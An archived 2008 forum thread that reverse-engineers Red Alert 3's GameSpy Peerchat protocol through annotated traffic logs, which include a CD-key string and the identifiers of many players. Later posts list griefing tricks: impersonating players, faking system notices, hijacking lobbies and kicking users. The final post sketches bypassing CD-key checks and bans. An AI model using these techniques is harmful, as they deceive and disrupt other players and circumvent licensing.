Luigi Auriemma

aluigi.org (ARCHIVE-ONLY FORUM!)
It is currently 19 Jul 2012 11:30

All times are UTC [ DST ]





Forum locked This topic is locked, you cannot edit posts or make further replies.  [ 28 posts ] 
Author Message
 Post subject: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 24 Aug 2008 17:09 

Joined: 24 Aug 2008 17:06
Posts: 24
This post will be a place to publicly share my knowledge and research on the protocols RA3 Uses with the Gamespy Peerchat.

Initial Login:
Code:
>Tell gamespy we are crypting our connection with DES (This is used on all GS Peerchat Apps)
CRYPT des 1 redalert3pcb

### GAMEKEY: uBZwpf
:s 705 * SjcYwcde>PQImGcE RC>AjNWf[m>jd=gr
### CLIENT CHALLENGE: SjcYwcde>PQImGcE
### SERVER CHALLENGE: RC>AjNWf[m>jd=gr
>We get our IP from the peerchat servers to use in our user info
USRIP
>Server gives us our IP
>Setup our user info
>XlG1W4OFpX|153849803 = EncodedIP|GSProfileId
>:71d11854800540d25e87d7e3af2daa6f = CDKey
:s 302  :=+@216.40.74.237
USER XlG1W4OFpX|153849803 127.0.0.1 peerchat.gamespy.com :71d11854800540d25e87d7e3af2daa6f
>Setup what User Name we want.
NICK Sidonuke
>Yay we are connected
:s 001 Sidonuke :Welcome to the Matrix Sidonuke
:s 002 Sidonuke :Your host is xs1, running version 1.0
:s 003 Sidonuke :This server was created Fri Oct 19 1979 at 21:50:00 PDT
:s 004 Sidonuke s 1.0 iq biklmnopqustvhe
:s 375 Sidonuke :- (M) Message of the day -
:s 372 Sidonuke :- Welcome to GameSpy
:s 376 Sidonuke :End of MOTD command
>Join the lobby channel "Casual 1" for RA3
JOIN #GPG!2266
>We have joined =3
:Sidonuke!XlG1W4OFpX|153849803@* JOIN :#GPG!2266
>Get Modes for channel
MODE #GPG!2266
>Topic =3 (Unused)
:s 332 Sidonuke #GPG!2266 :Click on the "Game Info" button at the top of your screen for the latest information on patches, add-on files, interviews, strategy guides and more!  It`s all there!
>Unknown...
:s 333 Sidonuke #GPG!2266 SERVER 1217231339
>User list
:s 353 Sidonuke * #GPG!2266 :@ChatMonitor-gs Trismegistus RebelWithout Night-Hawk VarXX oceanz87 raybrowning4 TheKaiser koodi1 PGrg844 GritSpitter guwer MattMCM thunder1234 {36C}-CoSm0s Alibubble xomm bLEST wesa lutinblanc stallone Pr0wn attredies CrazyRu55ian slowkid R.Ocelot Shepperd xervant yxovertka Solo80 Bajter Yolan Cheeseball XaraCoS tomcch92 Brillosch959 General1337 PATALOPOLIS WildBorman PsychoIncarnate Anser Teeze NotFor Admiral_DuGalle CEPMoebius nexusataxia Taurispp
:s 353 Sidonuke * #GPG!2266 :ajaxgigant Cuycoybuster chriswar Dunkelherz TonyFerelli Sidonuke
:s 366 Sidonuke #GPG!2266 :End of NAMES list
>Get user flags for everyone in lobby (Playing status and more)
GETCKEY #GPG!2266 * 000 0 :\username\b_flags
>Setup our ranking information
SETCKEY #GPG!2266 Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
>Get all players ranking info
GETCKEY #GPG!2266 * 001 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
>We finally got the modes
:s 324 Sidonuke #GPG!2266 +tnp
>GETCKEY #GPG!2266 * 000 0 :\username\b_flags Response
:s 702 Sidonuke #GPG!2266 Sidonuke 000 :\XlG1W4OFpX|153849803\
> #GPG!2266 Sidonuke 000 :\XlG1W4OFpX|153849803\
> Channel      Username        EncodeIP       ProfileID     Extra Flags
:s 702 Sidonuke #GPG!2266 TonyFerelli 000 :\XDaupalslX|155978172\
:s 702 Sidonuke #GPG!2266 Dunkelherz 000 :\XlDDfqOfaX|155981948\
:s 702 Sidonuke #GPG!2266 chriswar 000 :\XGsqlaGfqX|153361449\
:s 702 Sidonuke #GPG!2266 Cuycoybuster 000 :\XsGf4OWsFX|152886244\
:s 702 Sidonuke #GPG!2266 ajaxgigant 000 :\XWWsFGusWX|155981926\
:s 702 Sidonuke #GPG!2266 Taurispp 000 :\XflWFWlfvX|153603382\
:s 702 Sidonuke #GPG!2266 nexusataxia 000 :\XsGsufqs1X|155647501\
:s 702 Sidonuke #GPG!2266 CEPMoebius 000 :\XWssvpFsaX|155963137\
:s 702 Sidonuke #GPG!2266 Admiral_DuGalle 000 :\XGGu1sGs4X|153456486\s
:s 702 Sidonuke #GPG!2266 NotFor 000 :\XqFlpFup1X|153306376\s
:s 702 Sidonuke #GPG!2266 Teeze 000 :\XaGfav4WOX|153263245\
:s 702 Sidonuke #GPG!2266 Anser 000 :\XlGupWsflX|155981868\s
:s 702 Sidonuke #GPG!2266 PsychoIncarnate 000 :\Xu1fupWsaX|154026950\
:s 702 Sidonuke #GPG!2266 WildBorman 000 :\Xp1vqOvf9X|155981467\s
:s 702 Sidonuke #GPG!2266 PATALOPOLIS 000 :\XvD9WvuspX|155977568\
:s 702 Sidonuke #GPG!2266 General1337 000 :\Xq41DuFsaX|153578977\
:s 702 Sidonuke #GPG!2266 Brillosch959 000 :\XllvWODfpX|155978645\s
:s 702 Sidonuke #GPG!2266 tomcch92 000 :\XvOG99qFvX|155975492\
:s 702 Sidonuke #GPG!2266 XaraCoS 000 :\XfuvfWGpvX|155552342\s
:s 702 Sidonuke #GPG!2266 Cheeseball 000 :\XGlWlWFqqX|155629842\s
:s 702 Sidonuke #GPG!2266 Yolan 000 :\XvlufvlfaX|152915806\s
:s 702 Sidonuke #GPG!2266 Bajter 000 :\XFp14F9f4X|152886486\s
:s 702 Sidonuke #GPG!2266 Solo80 000 :\XfquGFOs1X|155981341\s
:s 702 Sidonuke #GPG!2266 yxovertka 000 :\XFO9pvFf4X|155981446\
:s 702 Sidonuke #GPG!2266 xervant 000 :\Xpu4sl9fGX|155981359\
:s 702 Sidonuke #GPG!2266 Shepperd 000 :\XssFWW4saX|153734341\s
:s 702 Sidonuke #GPG!2266 R.Ocelot 000 :\XaluFlF9WX|155965963\
:s 702 Sidonuke #GPG!2266 slowkid 000 :\XpvuupqsaX|155971860\s
:s 702 Sidonuke #GPG!2266 CrazyRu55ian 000 :\XuafpW4sFX|155981541\s
:s 702 Sidonuke #GPG!2266 attredies 000 :\XFvs1v1saX|155981482\
:s 702 Sidonuke #GPG!2266 Pr0wn 000 :\Xaff4DasWX|153527008\s
:s 702 Sidonuke #GPG!2266 stallone 000 :\X9WqfaDflX|153313478\
:s 702 Sidonuke #GPG!2266 lutinblanc 000 :\X4qDpDlvpX|155980845\
:s 702 Sidonuke #GPG!2266 wesa 000 :\XaWWfGuf4X|155976830\
:s 702 Sidonuke #GPG!2266 bLEST 000 :\Xa1vOuDsqX|153007714\
:s 702 Sidonuke #GPG!2266 xomm 000 :\X11vl9vs4X|153600235\
:s 702 Sidonuke #GPG!2266 Alibubble 000 :\XO1FfqssaX|153562528\
:s 702 Sidonuke #GPG!2266 {36C}-CoSm0s 000 :\XlfOWsvaWX|155980608\
:s 702 Sidonuke #GPG!2266 thunder1234 000 :\X4ufspqs9X|154027272\
:s 702 Sidonuke #GPG!2266 MattMCM 000 :\Xssq1vas4X|155518742\
:s 702 Sidonuke #GPG!2266 guwer 000 :\Xvl1FDaFqX|152886656\
:s 702 Sidonuke #GPG!2266 GritSpitter 000 :\Xuas9lGsaX|155979347\
:s 702 Sidonuke #GPG!2266 PGrg844 000 :\XFpsOuFspX|152888944\
:s 702 Sidonuke #GPG!2266 koodi1 000 :\XvvquGuf4X|154053602\
:s 702 Sidonuke #GPG!2266 TheKaiser 000 :\XavqqqfqGX|155510690\
:s 702 Sidonuke #GPG!2266 raybrowning4 000 :\X9lGfq4vpX|154277383\
:s 702 Sidonuke #GPG!2266 oceanz87 000 :\XulufDWvpX|155411221\
:s 702 Sidonuke #GPG!2266 VarXX 000 :\Xlpl1WasqX|152133654\
:s 702 Sidonuke #GPG!2266 Night-Hawk 000 :\XG9sfl1spX|153159886\
:s 702 Sidonuke #GPG!2266 RebelWithout 000 :\XfO19GpWOX|154008306\
:s 702 Sidonuke #GPG!2266 Trismegistus 000 :\XWWfFfFFlX|155776766\
:s 702 Sidonuke #GPG!2266 ChatMonitor-gs 000 :\XaaaaaaaaX|25677635\
>End of the user flags list for the channel
:s 703 Sidonuke #GPG!2266 000 :End of GETCKEY
>BCAST is a player flags change for Sidonuke of #GPG!2266. Make sure clients stay synced.
:s 702 #GPG!2266 #GPG!2266 Sidonuke BCAST :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
>This is our Player Ranking List
:s 702 Sidonuke #GPG!2266 Sidonuke 001 :\\0\0\62\32\\\\\0
:s 702 Sidonuke #GPG!2266 TonyFerelli 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 Dunkelherz 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 chriswar 001 :\\0\0\19\11\\\\\0
:s 702 Sidonuke #GPG!2266 Cuycoybuster 001 :\\0\0\0\2\\\\\0
:s 702 Sidonuke #GPG!2266 ajaxgigant 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 Taurispp 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 nexusataxia 001 :\\0\0\17\20\\\\\0
:s 702 Sidonuke #GPG!2266 CEPMoebius 001 :\\0\0\3\4\\\\\0
:s 702 Sidonuke #GPG!2266 Admiral_DuGalle 001 :\\0\0\119\38\\\\\0
:s 702 Sidonuke #GPG!2266 NotFor 001 :\\0\0\251\58\\\\\0
:s 702 Sidonuke #GPG!2266 Teeze 001 :\\0\0\95\48\\\\\0
:s 702 Sidonuke #GPG!2266 Anser 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 PsychoIncarnate 001 :\\0\0\2\2\\\\\0
:s 702 Sidonuke #GPG!2266 WildBorman 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 PATALOPOLIS 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 General1337 001 :\\0\0\2\0\\\\\0
:s 702 Sidonuke #GPG!2266 Brillosch959 001 :\\0\0\0\1\\\\\0
:s 702 Sidonuke #GPG!2266 tomcch92 001 :\\0\0\0\1\\\\\0
:s 702 Sidonuke #GPG!2266 XaraCoS 001 :\\0\0\16\21\\\\\0
:s 702 Sidonuke #GPG!2266 Cheeseball 001 :\\0\0\26\5\\\\\0
:s 702 Sidonuke #GPG!2266 Yolan 001 :\\0\0\33\34\\\\\0
:s 702 Sidonuke #GPG!2266 Bajter 001 :\\0\0\40\11\\\\\0
:s 702 Sidonuke #GPG!2266 Solo80 001 :\\0\0\1\0\\\\\0
:s 702 Sidonuke #GPG!2266 yxovertka 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 xervant 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 Shepperd 001 :\\0\0\7\28\\\\\0
:s 702 Sidonuke #GPG!2266 R.Ocelot 001 :\\0\0\1\1\\\\\0
:s 702 Sidonuke #GPG!2266 slowkid 001 :\\0\0\0\1\\\\\0
:s 702 Sidonuke #GPG!2266 CrazyRu55ian 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 attredies 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 Pr0wn 001 :\\0\0\4\6\\\\\0
:s 702 Sidonuke #GPG!2266 stallone 001 :\\0\0\48\18\\\\\0
:s 702 Sidonuke #GPG!2266 lutinblanc 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 wesa 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 bLEST 001 :\\0\0\97\28\\\\\0
:s 702 Sidonuke #GPG!2266 xomm 001 :\\0\0\3\3\\\\\0
:s 702 Sidonuke #GPG!2266 Alibubble 001 :\\0\0\20\8\\\\\0
:s 702 Sidonuke #GPG!2266 {36C}-CoSm0s 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 thunder1234 001 :\\0\0\12\36\\\\\0
:s 702 Sidonuke #GPG!2266 MattMCM 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 guwer 001 :\\0\0\16\26\\\\\0
:s 702 Sidonuke #GPG!2266 GritSpitter 001 :\\0\0\0\0\\\\\0
:s 702 Sidonuke #GPG!2266 PGrg844 001 :\\0\0\16\20\\\\\0
:s 702 Sidonuke #GPG!2266 koodi1 001 :\\0\0\22\17\\\\\0
:s 702 Sidonuke #GPG!2266 TheKaiser 001 :\\0\0\25\6\\\\\0
:s 702 Sidonuke #GPG!2266 raybrowning4 001 :\\0\0\17\49\\\\\0
:s 702 Sidonuke #GPG!2266 oceanz87 001 :\\0\0\20\34\\\\\0
:s 702 Sidonuke #GPG!2266 VarXX 001 :\\0\0\2\4\\\\\0
:s 702 Sidonuke #GPG!2266 Night-Hawk 001 :\\0\0\34\9\\\\\0
:s 702 Sidonuke #GPG!2266 RebelWithout 001 :\\0\0\11\41\\\\\0
:s 702 Sidonuke #GPG!2266 Trismegistus 001 :\\0\0\2\18\\\\\0
:s 702 Sidonuke #GPG!2266 ChatMonitor-gs 001 :\\\\\\\\\\
>And finally the end of the ranking list...
:s 703 Sidonuke #GPG!2266 001 :End of GETCKEY


Top
 Profile  
 
 
 Post subject:
PostPosted: 24 Aug 2008 17:29 

Joined: 24 Aug 2008 17:06
Posts: 24
While In Lobby:
Code:
:lutinblanc!*@* PRIVMSG #GPG!2266 :What with a "Please wait for Refresh NAT to be completed" error?
>This is a normal chat message. =p
>In the RA3 Client coloring for chat works like this.
>Having "@" or +o results in light blue chat
>If you are a VIP ProfileID as defined in the RA3 Client your chat is blue always
>Being on a players friend list results in pink chat
>Normal Players are red chat

:s 702 #GPG!2266 #GPG!2266 TonyFerelli BCAST :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\0\b_losses\0\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
>This updates our ranking information to everyone in chat
:s 702 #GPG!2266 #GPG!2266 bourne93 BCAST :\b_flags\s
>This updates our player status
>Flags List
>s = Starting a game
>h = We are the hosting for the game
>g = We are ingame (ingame is marked as sg)

:yxovertka!XFO9pvFf4X|155981446@* QUIT :Later!
>Results from logging off or Crashing

:Cuycoybuster!XsGf4OWsFX|152886244@* PART #GPG!2266 :
>Result from changing lobbys or going into a game.
>This could be useful for knowing when to run a whois command to get his channels and see what game he joined. If no channels are listed then its a loby change.

:matchcola!*@* NOTICE #GSP!redalert3pcb!MzJ3P31DKM :5...
>This is for a game lobby and not the main lobby but this results in white text from no name. When sent to channels.
>If its sent only to a user he only sees the white text (A name may be attached. Dont know...)
>If a notice is sent to a game lobby while the game is in session no text is sent.
>If a notice is sent to a player while ingame we will see the message ingame with blue text and Username : Text


Top
 Profile  
 
 Post subject:
PostPosted: 24 Aug 2008 17:31 

Joined: 24 Aug 2008 17:06
Posts: 24
Game Lobby Creation and while in a game lobby:

Joining a existing game
This gets a little crazy because alot is happening at once.
Code:
>Join the game
JOIN #GSP!redalert3pcb!MaPJ9aPhaM
>we have joined
:Sidonuke!XlG1W4OFpX|153849803@* JOIN :#GSP!redalert3pcb!MaPJ9aPhaM
>Get modes
MODE #GSP!redalert3pcb!MaPJ9aPhaM
>Topic
:s 332 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM :car2nr 1 vs 1
>Users list
:s 333 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM car2nr 1219384396
:s 353 Sidonuke = #GSP!redalert3pcb!MaPJ9aPhaM :@car2nr Sidonuke
:s 366 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM :End of NAMES list
>Tell lobby we are staging
SETCKEY #GPG!2266 Sidonuke :\b_flags\s
>Tell game lobby we are staging
SETCKEY #GSP!redalert3pcb!MaPJ9aPhaM Sidonuke :\b_flags\s
>Get game lobby user flags
GETCKEY #GSP!redalert3pcb!MaPJ9aPhaM * 023 0 :\username\b_flags
>Update ranking to lobby
SETCKEY #GPG!2266 Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
>Tell game lobby our rank
SETCKEY #GSP!redalert3pcb!MaPJ9aPhaM Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
>Get ranking of people in game lobby
GETCKEY #GSP!redalert3pcb!MaPJ9aPhaM * 024 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
>Unknown... (Give me rules update?)
UTM #GSP!redalert3pcb!MaPJ9aPhaM :BCLR/
>Response about game rules.
>Player names and there slot
:car2nr!*@* UTM #GSP!redalert3pcb!MaPJ9aPhaM :PN/ 0=car2nr,1=Sidonuke
>Rules information
>M=Link to the Map we are playing
>MC=Unknown
>MS=Unknown
>SD=Unknown
>GSID=Unknown
>GT=Unknown
>PC=Unknown
>RU=Rules setting
>S=Slot Information
:car2nr!*@* UTM #GSP!redalert3pcb!MaPJ9aPhaM :SL/ M=281data/maps/official/map_mp_2_black1b;MC=FEAA7D29;MS=0;SD=597651853;GSID=31EB;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 -1 ;S=H,465F54F0,0,TT,-1,7,1,0,0,1,-1,:H,D8284AED,8088,FT,-1,7,-1,-1,0,1,-1,:X:X:X:X:;
>Map Changed?
UTM car2nr :MAP 1
>Game Lobby Modes
:s 324 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM +tnle 6
>Finally got our user status sent back to us
:s 702 #GSP!redalert3pcb!MaPJ9aPhaM #GSP!redalert3pcb!MaPJ9aPhaM Sidonuke BCAST :\b_flags\s
>EncodedIP/ProfileID/Flags List
:s 702 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM Sidonuke 023 :\XlG1W4OFpX|153849803\s
>Notice he has 'sh' flags? it means hes staging and a host
:s 702 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM car2nr 023 :\X44vuulsFX|155970863\sh
:s 703 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM 023 :End of GETCKEY
>More game Lobby Settings
>Pings to be used for NAT Nego
:car2nr!*@* UTM #GSP!redalert3pcb!MaPJ9aPhaM :Pings/ ,,0,0,0,0
>PIDs... Unknown
:car2nr!*@* UTM #GSP!redalert3pcb!MaPJ9aPhaM :PIDS/ 0, ,92b8fcb, , , , , , , , , ,
>Ranking Update from us
:s 702 #GSP!redalert3pcb!MaPJ9aPhaM #GSP!redalert3pcb!MaPJ9aPhaM Sidonuke BCAST :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
>Ranking info for users
:s 702 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM Sidonuke 024 :\\0\0\62\32\\\\\0
:s 702 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM car2nr 024 :\\0\0\0\5\\\\\0
:s 703 Sidonuke #GSP!redalert3pcb!MaPJ9aPhaM 024 :End of GETCKEY

Yes we are now in another persons game lobby.

When We host
Code:
JOIN #GSP!redalert3pcb!M9lDDK9PaM
:Sidonuke!XlG1W4OFpX|153849803@216.40.74.237 JOIN :#GSP!redalert3pcb!M9lDDK9PaM
MODE #GSP!redalert3pcb!M9lDDK9PaM
:s 331 Sidonuke #GSP!redalert3pcb!M9lDDK9PaM :No topic is set
:s 353 Sidonuke * #GSP!redalert3pcb!M9lDDK9PaM :@Sidonuke
:s 366 Sidonuke #GSP!redalert3pcb!M9lDDK9PaM :End of NAMES list
MODE #GSP!redalert3pcb!M9lDDK9PaM
SETCKEY #GPG!2266 Sidonuke :\b_flags\s
SETCKEY #GSP!redalert3pcb!M9lDDK9PaM Sidonuke :\b_flags\sh
GETCKEY #GSP!redalert3pcb!M9lDDK9PaM * 027 0 :\username\b_flags
TOPIC #GSP!redalert3pcb!M9lDDK9PaM :Sidonuke 1v1aaa
MODE #GSP!redalert3pcb!M9lDDK9PaM +l 6
SETCKEY #GPG!2266 Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
SETCKEY #GSP!redalert3pcb!M9lDDK9PaM Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
:s 324 Sidonuke #GSP!redalert3pcb!M9lDDK9PaM +tnp
MODE #GSP!redalert3pcb!M9lDDK9PaM -i+p-s-m+n+t+l+e 6
UTM #GSP!redalert3pcb!M9lDDK9PaM :PN/ 0=Sidonuke
UTM #GSP!redalert3pcb!M9lDDK9PaM :SL/ M=281data/maps/official/map_mp_2_feasel1;MC=32853103;MS=0;SD=-1294104150;GSID=4402;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 -1 ;S=H,D8284AED,0,TT,-1,7,-1,-1,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pcb!M9lDDK9PaM :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pcb!M9lDDK9PaM :PIDS/ 0, , , , , , , , , , , ,
UTM Sidonuke :MAP 1
:s 324 Sidonuke #GSP!redalert3pcb!M9lDDK9PaM +tnp
:s 702 #GSP!redalert3pcb!M9lDDK9PaM #GSP!redalert3pcb!M9lDDK9PaM Sidonuke BCAST :\b_flags\sh
:s 702 Sidonuke #GSP!redalert3pcb!M9lDDK9PaM Sidonuke 027 :\XlG1W4OFpX|153849803\sh
:s 703 Sidonuke #GSP!redalert3pcb!M9lDDK9PaM 027 :End of GETCKEY
:Sidonuke!XlG1W4OFpX|153849803@* TOPIC #GSP!redalert3pcb!M9lDDK9PaM :Sidonuke 1v1aaa
:Sidonuke!XlG1W4OFpX|153849803@* MODE #GSP!redalert3pcb!M9lDDK9PaM +l 6
:s 702 #GSP!redalert3pcb!M9lDDK9PaM #GSP!redalert3pcb!M9lDDK9PaM Sidonuke BCAST :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
:Sidonuke!XlG1W4OFpX|153849803@* MODE #GSP!redalert3pcb!M9lDDK9PaM -p
:Sidonuke!XlG1W4OFpX|153849803@* MODE #GSP!redalert3pcb!M9lDDK9PaM +e
:Sidonuke!XlG1W4OFpX|153849803@* UTM Sidonuke :MAP 1


Host leaves channel....
Code:
>Host updates his status
:s 702 #GPG!2266 #GPG!2266 car2nr BCAST :\b_flags\
>he parts.
:car2nr!X44vuulsFX|155970863@* PART #GSP!redalert3pcb!MaPJ9aPhaM :
>we part
PART #GSP!redalert3pcb!MaPJ9aPhaM :
>update our status
SETCKEY #GPG!2266 Sidonuke :\b_flags\
>status updated.
:s 702 #GPG!2266 #GPG!2266 Sidonuke BCAST :\b_flags\


Nat Nego. Unknown....
Code:
:car2nr!X44vuulsFX|155970863@* UTM Sidonuke :NAT/ NATHOST0 37135021 car2nr
UTM car2nr :NAT NATINITED1 37135021 Sidonuke

:matchcola!X1FqG1p1qX|152141942@* UTM Sidonuke :NAT/ NATHOST0 1164169 matchcola
UTM matchcola :NAT NATINITED1 1164169 Sidonuke

UTM matchcola :NAT CONNDONE0 1 11C38A
:matchcola!X1FqG1p1qX|152141942@* UTM Sidonuke :NAT CONNDONE1 0 11C38A


Kick Commands (can only be used by +o)
Code:
:xervant!Xpu4sl9fGX|155981359@* UTM Sidonuke :KICK/ GameFull


Lobby Rules/Slots/Maps Sync Commands
Code:
UTM #GSP!redalert3pcb!M9lDDK9PaM :PN/ 0=Sidonuke
UTM #GSP!redalert3pcb!M9lDDK9PaM :SL/ M=281data/maps/official/map_mp_2_feasel1;MC=32853103;MS=0;SD=-1294104150;GSID=4402;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 -1 ;S=H,D8284AED,0,TT,-1,8,-1,-1,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pcb!M9lDDK9PaM :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pcb!M9lDDK9PaM :PIDS/ 0, , , , , , , , , , , ,
UTM #GSP!redalert3pcb!M9lDDK9PaM :KPA/

UTM Sidonuke :REQ/ PlayerTemplate=8
UTM Sidonuke :REQ/ Color=0
UTM Sidonuke :REQ/ Team=0
UTM Sidonuke :REQ/ StartPos=1

PRIVMSG #GSP!redalert3pcb!M9lDDK9PaM :open slot
UTM #GSP!redalert3pcb!M9lDDK9PaM :PN/ 0=Sidonuke
UTM #GSP!redalert3pcb!M9lDDK9PaM :SL/ M=281data/maps/official/map_mp_2_feasel1;MC=32853103;MS=0;SD=-1294104150;GSID=4402;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 -1 ;S=H,D8284AED,0,TT,1,4,1,1,0,1,-1,:O:O:X:X:X:;
UTM #GSP!redalert3pcb!M9lDDK9PaM :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pcb!M9lDDK9PaM :PIDS/ 0, , , , , , , , , , , ,

PRIVMSG #GSP!redalert3pcb!M9lDDK9PaM :close slot
UTM #GSP!redalert3pcb!M9lDDK9PaM :PN/ 0=Sidonuke
UTM #GSP!redalert3pcb!M9lDDK9PaM :SL/ M=281data/maps/official/map_mp_2_feasel1;MC=32853103;MS=0;SD=-1294104150;GSID=4402;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 -1 ;S=H,D8284AED,0,TT,1,4,1,1,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pcb!M9lDDK9PaM :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pcb!M9lDDK9PaM :PIDS/ 0, , , , , , , , , , , ,

UTM #GSP!redalert3pcb!MzJ3P31DKM :BCLR/

UTM matchcola :READY true

:matchcola!*@* UTM #GSP!redalert3pcb!MzJ3P31DKM :HWS/ true


Game Launch
Code:
:matchcola!*@* NOTICE #GSP!redalert3pcb!MzJ3P31DKM :5...
:matchcola!*@* NOTICE #GSP!redalert3pcb!MzJ3P31DKM :4...
:matchcola!*@* NOTICE #GSP!redalert3pcb!MzJ3P31DKM :3...
:matchcola!*@* NOTICE #GSP!redalert3pcb!MzJ3P31DKM :2...
:matchcola!*@* NOTICE #GSP!redalert3pcb!MzJ3P31DKM :1...
:matchcola!*@* UTM #GSP!redalert3pcb!MzJ3P31DKM :GML
:matchcola!*@* PRIVMSG #GSP!redalert3pcb!MzJ3P31DKM :@@@GML 12.210.62.2/OLD
:s 702 #GSP!redalert3pcb!MzJ3P31DKM #GSP!redalert3pcb!MzJ3P31DKM matchcola BCAST :\b_flags\shg
SETCKEY #GPG!2266 Sidonuke :\b_flags\sg
SETCKEY #GSP!redalert3pcb!MzJ3P31DKM Sidonuke :\b_flags\sg
MODE Sidonuke +q
PART #GPG!2266 :


Game End
Code:
MODE Sidonuke -q
SETCKEY #GSP!redalert3pcb!MzJ3P31DKM Sidonuke :\b_flags\s
JOIN #GPG!2266
:Sidonuke!XlG1W4OFpX|153849803@* JOIN :#GPG!2266


Last edited by Sidonuke on 24 Aug 2008 18:34, edited 2 times in total.

Top
 Profile  
 
 Post subject:
PostPosted: 24 Aug 2008 18:13 

Joined: 24 Aug 2008 17:06
Posts: 24
Exploits and hacks that can be done.

Impersonate a GS Profile ID
You can use a players profile id even if they are playing

Impersonate a Nickname
Now as long as the player isnt online we can use their name

The two above in combo will make it look like you are the players friend and all which is fun =)

Using Notices for white text. We can use a notice command send to the channel to look like system messages and look "Offical"

Impersonating a VIP's Profile id will give us blue text which is fun

Hijacking a hosting channel.
Player hosts a game.
We join on our irc client.
We wait for game to end.
We /hop and get Channel Oper =)

At this point we control zee shit and we rox =)

adding +k to the channel prevent game joining or hosting for that player =p requires +o

Sending /utm PlayerName :KICK/ GameFull
will make them part and go wtf? This can only be done with +o

/kicking result in a major client error which you dont recieve text and you stay dead in the game lobby (you can still leave tho) requiring +o

noticing in game lobbys can result in white text.


Potental Exploits.
Messing up game syncing and nat nego preventing a game launch.

Modifying game rules and map.

Giving ourselfs hosting flag (This may give us more access)

Forcing a Game to prematurely launch "Possible?"

Sending corrupted game rules/player sync infos...


Top
 Profile  
 
 Post subject:
PostPosted: 24 Aug 2008 19:03 

Joined: 24 Aug 2008 17:06
Posts: 24
Theory...

Initial Login is controlled by EA servers which use there
Email+Password+Username System to Authenticate
Then some other system for cdkey auth.

Moving on...
Stats are also controlled by EA and the battlecast system also.
They also seem to have manglers for automatching and other purposes.

The way...
By emulating cdkey auth and login we can then get inside the custom game system which is handled mostly by peerchat. peerchat doesnt require auth or cdkeys.

Now Stats and Automatching wouldnt be usable but maybe custom matches.

Now even if the custom matches listings are controlled by EA we can still emulate the list using peerchat via /list redalert3 and then doing a GETCKEY sflags to get game status.

The point...
By doing this we can completely bypass any EA based banning system and login and cdkey auth and be able to play custom games.

If i can get help to start logging how authentication works stats and all then it maybe possible to develop a program to bypass cdkey auth for red alert 3 and possiblely future games using the auth system.


Top
 Profile  
 
 Post subject:
